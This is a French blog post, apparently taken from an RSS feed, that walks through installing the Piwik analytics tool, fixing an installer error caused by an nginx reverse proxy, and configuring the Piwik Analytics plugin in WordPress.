<p>La première étape est de télécharger Piwik sur le site officiel <a href="http://piwik.org/">http://piwik.org/</a> et de cliquer sur l&#8217;onglet <a href="http://piwik.org/latest.zip"> Download Piwik</a>. Notez aussi la présence d&#8217;un menu « Online demo », si vous voulez tester la bête avant de l&#8217;installer. Vérifiez aussi la présence de 2 pré-requis pour Piwik : une base de donnée et php.</p>
<p>Si vous procédez à l&#8217;installation via ssh, rien de plus simple : rendez-vous dans votre documentRoot (base du dossier web), wget &laquo;&nbsp;http://piwik.org/latest.zip&nbsp;&raquo;, unzip latest.zip et hop, vous avez un dossier piwik dans votre documentRoot.</p>
<p>Si vous procédez à l&#8217;installation via ftp, dézippez le fichier en local sur votre pc puis uploadez le dossier et son contenu sur votre ftp, dans le même dossier que votre wordpress.</p>
<p>Pour continuer l&#8217;installation, il suffit de se rendre sur ce dossier piwik avec votre navigateur web, et un joli installateur vous demandera pleins  de renseignements, à vous de les compléter correctement. Il n&#8217;y a normalement pas de soucis à cette étape, l&#8217;installateur étant très clair.</p>
<p>Concernant mon problème, lors de l&#8217;installation j&#8217;avais le message « Error: it seems you tried to skip a step of the Installation process, or your cookies are disabled, or the Piwik configuration file was already created. ». Après vérifications, le problème ne venait pas de moi (enfin pas directement), mes cookies étant activés et le fichier de configuration de Piwik n&#8217;étant pas présent. Le problème était en fait dans la configuration de mon reverse proxy/cache nginx. En effet, après avoir rajouté une petite règle qui redirige toutes les requêtes sur /piwik/ vers le backend, le problème fût corrigé. N&#8217;hésitez donc pas, si vous avez le même problème et que vous avez un reverse-proxy/cache à vérifier sa configuration.</p>
<p>EDIT: Matthieu Aubry m&#8217;a gentillement envoyé un lien vers la faq de piwik sur twitter (<a href="http://twitter.com/#!/matthieuaubry/status/25449686307442689">ici pour le twitt</a> et <a href="http://piwik.org/faq/how-to-install/#faq_98">ici pour le point de la faq</a>) concernant la conf si piwik tourne derrière un reverse-proxyx. Merci à lui <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<h2>Installation dans WordPress</h2>
<p>Une fois l&#8217;installation de piwik effectué, nous allons maintenant relier piwik avec notre blog. Pour cela, dans votre interface d&#8217;administration wordpress, allez dans le menu « Extensions » puis cliquez sur « Ajouter ». Dans le champs de recherche, écrivez « <strong>Piwik Analytics</strong> » puis effectuez la recherche. Une extension du même nom devrait apparaître. Cliquez sur le lien « Installer maintenant », situé juste sous le nom de l&#8217;extension. Au bout de quelques instants l&#8217;extension devrait être installé. Passons à sa configuration. Pour cela rendez vous dans le menu Extensions de votre wordpress, onglet Extensions. Cherchez le module que l&#8217;on a précedemment installé, et cliquez sur « Configuration Page ». Dans la case « Piwik site id », indiquez « 1 ». Cette case sert dans le cas où vous voudriez que votre installation piwik serve pour plusieurs sites. Si tel est le cas, indiquez un id différent pour chacun de vos sites. Laissez la case « Track Downloads » cochée, ou cochez  là si ce n&#8217;est pas le cas. Cette option sert pour pouvoir « suivre » les téléchargements effectués par les visiteurs. Laissez « Hostname of the Piwik Server » vide si l&#8217;installation du piwik est située sur le même serveur que votre blog. Cette option est utile si vous avez installé votre piwik sur un vhost/serveur différent. Pour « Base <label for="piwik_baseurl">URL path of piwik installation</label> », indiquez « /piwik/ », cela correspond au dossier d&#8217;instalation de piwik, modifiez cette valeur si votre piwik n&#8217;est pas installé dans ce dossier. Enfin, laissez la case « Track the admin user too » décochée. Cette case indique s&#8217;il faut prendre en compte dans les statistiques les visites de l&#8217;administrateur du blog (vous), il faut donc la laisser à false pour ne pas biaiser les statistiques. Enfin validez vos choix en cliquand sur « update settings ». Voilà, votre piwik est installé et configuré.</p>
<h2>Utilisation</h2>
<p>Concernant l&#8217;utilisation, il suffit de se rendre dans le dossier de piwik (http://votreblog.example.fr/piwik/ par exemple) pour voir les statistiques de votre blog. Il y a ici de nombreux menus et possibilités, dont je vais vous laisser le plaisir d&#8217;explorer les moindres recoins <img src='http://www.hydraze.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.hydraze.org/2011/01/kiwip-non-piwik-ou-lhistoire-de-linstallation-dun-piwik-sur-un-wordpress/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

